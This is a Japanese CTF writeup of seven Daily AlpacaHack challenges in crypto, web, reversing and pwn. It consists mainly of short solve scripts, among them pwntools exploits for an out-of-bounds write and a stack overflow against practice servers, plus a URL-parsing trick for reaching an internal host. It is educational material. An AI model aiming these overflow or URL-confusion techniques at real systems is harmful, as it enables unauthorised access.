Daily AlpacaHack Week1 (2025-12-1 ~)

Daily AlpacaHack の Writeup.
(2025/12/1 - 2025/12/7)

後から解いたものなど含むまとめ.

AlpacaHack 2100 (2025/12/1, Misc)

https://alpacahack.com/daily?month=2100-01
        

a fact of CTF (2025/12/2, Crypto)

primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]

with open("output.txt", "r") as f:
    ciph = int(f.read(), 16)
    
flag = ""
for i in range(len(primes)):
    tmp_int = 0
    tmp_ciph = ciph
    while True:
        if tmp_ciph % primes[i] == 0:
            tmp_ciph = tmp_ciph // primes[i]
            tmp_int += 1
        else:
            break
    
    if tmp_int > 0:
        flag += chr(tmp_int)
        
print(flag)
        

Emojify (2025/12/3, Web)

new URL(path, "http://backend:3000");
        
//secret:1337/flag?emoji
        
console.log(new URL("//secret:1337/flag?emoji", "http://backend:3000))
        

Leaked Flag Checker (2025/12/4, Rev)

flag_bytes_raw = "0x66776b46      0x6b7c6664      0x7e6c6472      0x0000007a"
flag = ""
for tmp_hex in flag_bytes_raw.split():
    for i in range(4,0,-1):
        tmp_int = int(tmp_hex[(i)*2:(i+1)*2], 16)
        if tmp_int == 0:
            break
        flag += chr(tmp_int ^ 7)
        
print(flag)
        

Integer Writer (2025/12/5, Pwn)

from pwn import *

elf = ELF("./chal")
context.binary = elf

win_addr = elf.symbols["win"]

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 51272".split()
    sh = remote(host, port)
else:
    sh = process()
    
prompt = sh.recvuntil("pos >".encode())
print(prompt.decode())

payload = str(-0x6).encode()

sh.sendline(payload) # set address

print("payload:", payload.decode())

prompt = sh.recvuntil("val >".encode())
print(prompt.decode())

payload = str(win_addr).encode()
sh.sendline(payload)

sh.interactive()
        

simpleoverflow (2025/12/6, Pwn)

from pwn import *

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 42137".split()
    sh = remote(host, port)
else:
    sh = process("./chall")
    
prompt = sh.recvuntil("name:".encode())
print(prompt.decode())

payload = "a".encode() * 10 # padding
payload += p32(1) # set admin

sh.sendline(payload)

sh.interactive()
        

size limit (2025/12/7, Crypto)

from Crypto.Util.number import long_to_bytes

with open("output.txt", "r") as f:
    N, e, c, d = [int(x.split()[-1]) for x in f.readlines()]

deced = pow(c, d, N)

for i in range(100000000000):
    deced += N
    x = long_to_bytes(deced)
    if b"TSGLIVE" in x:
        print(x)
        break